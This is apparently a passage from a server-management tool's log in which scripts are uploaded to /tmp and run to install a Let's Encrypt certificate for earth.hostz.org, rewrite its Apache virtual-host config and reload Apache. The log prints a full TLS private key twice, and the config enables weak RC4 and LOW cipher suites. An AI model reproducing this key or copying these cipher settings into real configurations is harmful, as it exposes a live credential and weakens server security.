3O16kcuZYsrD1TksrAUBKbgCIQDgnQXnb5TXzdcS5L0Wx3ipgJSiKihbc2uNGhnZ
TSQ9xjANBgkqhkiG9w0BAQsFAAOCAQEAcP6ZkXHY5TukkNhseg5b5ydsAfE7tEa9
N4U6mH4HvbjkNhhYDveHoXDhAKoUkPo2bsaD1Uqslq+fqm0FJHj+HApzbN8ZuV6A
7FOdV3L1vuBJ8xJ3FOx6yhFxVsie62OX7Khn1ltncrH32h0Q4ij+SiqtpKlWIlCV
g4CCoDCfv62E+s+GaNBLzTYglbo1cMQfK498hLbVWU2Zl5bOt6YntBsMnonti5O2
0iQvSLVoppTBRfVMSL+jWWXcNUqC/53RR34V/7Ob9Ryhf0wnZkOQesZa2KY1gbfI
4Y+atjq2A3pVNGRTYj736ccsvuIAN9oieM7A4IlCGcSS26CzodZ0OQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC2zOKPTjOiGI77
JdOZEiJwh4Ref9Pkz5hRLhPPYF5kEqdKDHmjh2xb0mVgysqe24dSiPDerSxntpHh
ozkLWy5CqE7Va7adno9I2G5432/5Rb+Ui+8JQYim/tHl0pE0dsrW/Vy/Ec7LIuQ/
83q9yWkGuqRHZgzc1MAN/rGG0JAOmDrFG9gEMyG5tpciA+2iDT53UgCqpuM8PjBU
hVIQ6FnpZHkTrwQzbooVwvp81CIpDziuxKEQisWIYVUUsPSM8fXIqMMmZ1vxxYt9
SvZNIu8xscDCy/bRFixxDUWmy85eRMxSqxFpExQDAcs4mY9s563i67TusQfT8c22
TBN79E1JAgMBAAECggEAeWcnDG+uYPgYdXmQxzdBAiUuZyhUDMFGcpu8clyZM7Mj
wUz5t/5nm6/mvlrQKKK5g7oI5opyVErvJcCmUQF0fraS7LDFrnawyHtdGw+hqRaG
ftxUm3wXinjv48dtwj8mxZOs9gSYp1Z76nEE0miiROLN2dFPt5XgGytMsbFwCxAz
jcIt+F7ceha7CAUNQOtZFdINjrkd3gTFeOy252jaViwLFoC5Et8yg79eK3+keypc
OajGiNR8j0JXt6r43rqCHdkpzuNnP+3LDFV29zTMJL7WbBzGMXQILGL3n8TgTgC9
dVKN/XT6Oa+/aCXpjiheDy37DWxN5w0JlpCs1XstgQKBgQDzs4eQ+I+R/RRHQ6zO
CkrFw9dS0LwqrAs+2bI3Eg1oM1Wl+VwpqEUOud5Tvh0s8cEloSJtOplHNGcfBhK+
xLSsc1Me8UQiIx5LMWfYbVw8KOwotAIvDu91/mq07bfEo7ZhWxydX3umuGUQtILd
RZz584ALwDtGFrA+jCeglNFgkQKBgQDABo15WSSMLD/Ym3KQ0jbPoBqqFRgnR3fi
qmaB1f8lvAUKt30yyGyK4AmZvElh4ZMX9t8bKhYj0P+3b7Dnn1F/LxKUoG+QM4SY
sQB/8ngzT3nBMEoBRKKJNBaj4ZIX+xJ59wVqC1+0rempDctjf1XIXW5jezI1rsUW
YX5Igb99OQKBgFli0iikYtSjRRrWgb2ZHM/pA0OG+F2WeRF2e92jK3O60IFuMxW8
eIfsONXyd3USv0t0DNKPmcT6PZCtg5ahQ7u1GRnSWLFEvEnMN1C03A3c3LIZRGvK
SJ640J7ISo0/lxeieZ5ndU0zeS5lZ1KNxAQSAjdNLPCKRd7LPYWy0BFhAoGBAKnW
IdKuETEZAe8mrZGBG5FPXcYImjBDebk0VS2Ig/5v6VWtLEJ6GeZKeLNMYOr9hAey
BWoVMzfCZilr099IfeArVhe2PnYf2qriAjsnzUA0js9bUlkEx2zqcQvJOlmTaqgM
3vEH1kILf5pR5Q2/VbO9TyEVmTb5uL8uw26Fs0OhAoGATCoF+HpO9TOIJl0WyG5u
QqbxPqxN0M1XYalnb4M7iO098L2DY50kvbufi8dJOejbYcamzsyfrXndgE7beMQC
c4Lgyetk2wAeBIwW9uv9SR/kb/fucRDNAJtiD1CVRQsZP50ZA/tAG0Vb4CqHi1xM
vMVhiqRNI4oLKAKvreM74qo=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-13 06:00:18: 

chmod 755 /tmp/pkp666629; /tmp/pkp666629; rm /tmp/pkp666629

2025-12-13 06:00:19: 


dir=/etc/ssl/certs


2025-12-13 06:00:19: 

PUT: /tmp/pkp672785

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_earth_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-13 06:00:19: 

chmod 755 /tmp/pkp672785; /tmp/pkp672785; rm /tmp/pkp672785

2025-12-13 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_earth_us.conf 36
ExtendedStatus	on

<VirtualHost *:80>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/earth_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_earth/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/earth_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-13 06:00:19: 

PUT: /tmp/pkp366546

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_earth_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_earth_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ExtendedStatus	on

<VirtualHost *:80>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/earth_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_earth/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/earth_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_earth_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_earth_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_earth_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_earth_us.conf= 1'
fi


2025-12-13 06:00:20: 

chmod 755 /tmp/pkp366546; /tmp/pkp366546; rm /tmp/pkp366546

2025-12-13 06:00:20: 




2025-12-13 06:00:20: 

PUT: /tmp/pkp680976

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-13 06:00:21: 

chmod 755 /tmp/pkp680976; /tmp/pkp680976; rm /tmp/pkp680976

2025-12-13 06:00:21: 


.


2025-12-13 06:00:21: Establishing a connection
2025-12-13 06:00:22: 

PUT: /tmp/pkp270978

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-13 06:00:23: 

chmod 755 /tmp/pkp270978; /tmp/pkp270978; rm /tmp/pkp270978

2025-12-13 06:00:24: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
                 alias www.carelinks.net
         port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
                 alias www.carelinks.org
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443                  is a NameVirtualHost
         default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
         port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
                 alias www.carelinks.net
         port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-12-13 06:00:24: 

PUT: /tmp/pkp304379

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_earth_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-13 06:00:24: 

chmod 755 /tmp/pkp304379; /tmp/pkp304379; rm /tmp/pkp304379

2025-12-13 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_earth_us.conf	1555
ExtendedStatus	on

<VirtualHost *:80>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/earth_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_earth/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/earth_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-13 06:00:25: 

PUT: /tmp/pkp960563

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-13 06:00:25: 

chmod 755 /tmp/pkp960563; /tmp/pkp960563; rm /tmp/pkp960563

2025-12-13 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5361
7e:6d:1d:c7:8e:1f:c7:35:aa:0f:42:ae:7f:d3:c0:c8

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBZQBtIgrmuVw1O4avHJnbOVyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjEzMDUwMTQzWhcNMjYwMzEzMDUwMTQyWjAaMRgwFgYDVQQD
Ew9lYXJ0aC5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC2zOKPTjOiGI77JdOZEiJwh4Ref9Pkz5hRLhPPYF5kEqdKDHmjh2xb0mVgysqe
24dSiPDerSxntpHhozkLWy5CqE7Va7adno9I2G5432/5Rb+Ui+8JQYim/tHl0pE0
dsrW/Vy/Ec7LIuQ/83q9yWkGuqRHZgzc1MAN/rGG0JAOmDrFG9gEMyG5tpciA+2i
DT53UgCqpuM8PjBUhVIQ6FnpZHkTrwQzbooVwvp81CIpDziuxKEQisWIYVUUsPSM
8fXIqMMmZ1vxxYt9SvZNIu8xscDCy/bRFixxDUWmy85eRMxSqxFpExQDAcs4mY9s
563i67TusQfT8c22TBN79E1JAgMBAAGjggIpMIICJTAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFCnXV/ckVnt1zJ5vAeV6cgn1HlQvMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPZWFydGguaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvMTE1LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB3AEmc
m2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmxZLnl0AAAQDAEgwRgIh
AN/Rv8McrS8PZ44PfbiNiJt2TN413tF1V6AT6RXuU8KqAiEA6IGPJ3KU7o+mGsCe
0BHA/NMrQwC9i4s8Sh5eBJh8fA8AfgDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB
/BxEWMS26AAAAZsWS5/TAAgAAAUAK/513wQDAEcwRQIgBUO+UXa8EHUDKWd42in3
3O16kcuZYsrD1TksrAUBKbgCIQDgnQXnb5TXzdcS5L0Wx3ipgJSiKihbc2uNGhnZ
TSQ9xjANBgkqhkiG9w0BAQsFAAOCAQEAcP6ZkXHY5TukkNhseg5b5ydsAfE7tEa9
N4U6mH4HvbjkNhhYDveHoXDhAKoUkPo2bsaD1Uqslq+fqm0FJHj+HApzbN8ZuV6A
7FOdV3L1vuBJ8xJ3FOx6yhFxVsie62OX7Khn1ltncrH32h0Q4ij+SiqtpKlWIlCV
g4CCoDCfv62E+s+GaNBLzTYglbo1cMQfK498hLbVWU2Zl5bOt6YntBsMnonti5O2
0iQvSLVoppTBRfVMSL+jWWXcNUqC/53RR34V/7Ob9Ryhf0wnZkOQesZa2KY1gbfI
4Y+atjq2A3pVNGRTYj736ccsvuIAN9oieM7A4IlCGcSS26CzodZ0OQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC2zOKPTjOiGI77
JdOZEiJwh4Ref9Pkz5hRLhPPYF5kEqdKDHmjh2xb0mVgysqe24dSiPDerSxntpHh
ozkLWy5CqE7Va7adno9I2G5432/5Rb+Ui+8JQYim/tHl0pE0dsrW/Vy/Ec7LIuQ/
83q9yWkGuqRHZgzc1MAN/rGG0JAOmDrFG9gEMyG5tpciA+2iDT53UgCqpuM8PjBU
hVIQ6FnpZHkTrwQzbooVwvp81CIpDziuxKEQisWIYVUUsPSM8fXIqMMmZ1vxxYt9
SvZNIu8xscDCy/bRFixxDUWmy85eRMxSqxFpExQDAcs4mY9s563i67TusQfT8c22
TBN79E1JAgMBAAECggEAeWcnDG+uYPgYdXmQxzdBAiUuZyhUDMFGcpu8clyZM7Mj
wUz5t/5nm6/mvlrQKKK5g7oI5opyVErvJcCmUQF0fraS7LDFrnawyHtdGw+hqRaG
ftxUm3wXinjv48dtwj8mxZOs9gSYp1Z76nEE0miiROLN2dFPt5XgGytMsbFwCxAz
jcIt+F7ceha7CAUNQOtZFdINjrkd3gTFeOy252jaViwLFoC5Et8yg79eK3+keypc
OajGiNR8j0JXt6r43rqCHdkpzuNnP+3LDFV29zTMJL7WbBzGMXQILGL3n8TgTgC9
dVKN/XT6Oa+/aCXpjiheDy37DWxN5w0JlpCs1XstgQKBgQDzs4eQ+I+R/RRHQ6zO
CkrFw9dS0LwqrAs+2bI3Eg1oM1Wl+VwpqEUOud5Tvh0s8cEloSJtOplHNGcfBhK+
xLSsc1Me8UQiIx5LMWfYbVw8KOwotAIvDu91/mq07bfEo7ZhWxydX3umuGUQtILd
RZz584ALwDtGFrA+jCeglNFgkQKBgQDABo15WSSMLD/Ym3KQ0jbPoBqqFRgnR3fi
qmaB1f8lvAUKt30yyGyK4AmZvElh4ZMX9t8bKhYj0P+3b7Dnn1F/LxKUoG+QM4SY
sQB/8ngzT3nBMEoBRKKJNBaj4ZIX+xJ59wVqC1+0rempDctjf1XIXW5jezI1rsUW
YX5Igb99OQKBgFli0iikYtSjRRrWgb2ZHM/pA0OG+F2WeRF2e92jK3O60IFuMxW8
eIfsONXyd3USv0t0DNKPmcT6PZCtg5ahQ7u1GRnSWLFEvEnMN1C03A3c3LIZRGvK
SJ640J7ISo0/lxeieZ5ndU0zeS5lZ1KNxAQSAjdNLPCKRd7LPYWy0BFhAoGBAKnW
IdKuETEZAe8mrZGBG5FPXcYImjBDebk0VS2Ig/5v6VWtLEJ6GeZKeLNMYOr9hAey
BWoVMzfCZilr099IfeArVhe2PnYf2qriAjsnzUA0js9bUlkEx2zqcQvJOlmTaqgM
3vEH1kILf5pR5Q2/VbO9TyEVmTb5uL8uw26Fs0OhAoGATCoF+HpO9TOIJl0WyG5u
QqbxPqxN0M1XYalnb4M7iO098L2DY50kvbufi8dJOejbYcamzsyfrXndgE7beMQC
c4Lgyetk2wAeBIwW9uv9SR/kb/fucRDNAJtiD1CVRQsZP50ZA/tAG0Vb4CqHi1xM
vMVhiqRNI4oLKAKvreM74qo=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
